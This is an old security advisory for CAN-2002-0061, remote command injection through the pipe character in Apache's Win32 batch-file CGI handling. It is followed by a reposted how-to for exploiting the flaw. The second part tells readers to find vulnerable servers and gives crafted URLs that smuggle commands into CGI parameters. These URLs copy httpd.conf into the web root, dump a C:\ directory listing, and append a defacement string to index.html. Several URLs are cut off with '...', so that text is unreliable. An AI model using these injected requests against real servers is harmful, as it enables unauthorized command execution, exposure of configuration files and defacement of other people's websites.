Vulnerability in Apache for Win32 batch file processing - Remote command
execution
=> Vendor: Apache group
=> Product: Apache web server (Win32) - Running DOS batch files
Tested on:
- Apache 1.3.23
- Apache 2.0.28-BETA (By default includes /cgi-bin/test-cgi.bat
file which
enables this attack)
=> Severity: High, remote command execution and arbitrary file viewing.
=> CVE candidate: CAN-2002-0061
(http://cve.mitre.org/cgi-bin/cvenam...e=CAN-2002-0061 )
=> Summary: Because of a the way Apache web server handles DOS batch scripts
it is possible to execute remote commands on the web server by using the
pipe ('|') character.
** IMPORTANT **
The Apache 2.0.x installation is shipped with the default script
/cgi-bin/test-cgi.bat
which can be exploited, but it should be noted that ANY '.bat' or '.cmd'
script
will allow exploitation of this vulnerability.
=> Description: When a request for a DOS batch file (.bat or .cmd) is sent
to an Apache
web server, the server will spawn a shell interpreter (cmd.exe by default)
and
will run the script with the parameters sent to it by the user. Because no
proper validation is done on the input, it is possible to send a pipe
character
('|') with commands appended to it as parameters to the CGI script, and the
shell
interpreter will execute them.
-----------------------------------------------------------------------------
1.This vulnerability has been exploited on - Apache 1.3.23
- Apache 2.0.28-BETA (By default includes /cgi-bin/test-cgi.bat
file which enables this attack)
When a request for a DOS batch file (.bat or.cmd) is sent to an Apache
web server, the server will spawn a shell interpreter (cmd.exe by
default) and will run the script with the parameters sent to it by the
user. Because no proper validation is done on the input, it is possible
to send a pipe character ('|') with commands appended to it as
parameters to the CGI script, and the shell interpreter will execute
them.
2.Find a webserver running Apache 1.3.23(Win) or Apache 2.0.28-BETA(Win)
(a)To view the httpd.conf file residing in the /conf directory of the
Apache installation, you must copy it into the virtual web root.
To do this, write in your browser:
http://www.target.co...#092;httpd.conf
(b)To view the contents of the C:\ drive create in /htdocs a file containing
the directory listing of the drive.
To do this, write in your browser:
http://www.target.co...at...cs\dir.txt
⌐To make your deface you will use the echo command.
To do this, write in your browser:
http://www.target.co...24;echo+Defaced bY YOU+>>+..\htdocs\index.html
This will append the string "Defaced bY YOU" to the index.html file residing in
the virtual web root directory.
Thats how this vulnerability can be exploited...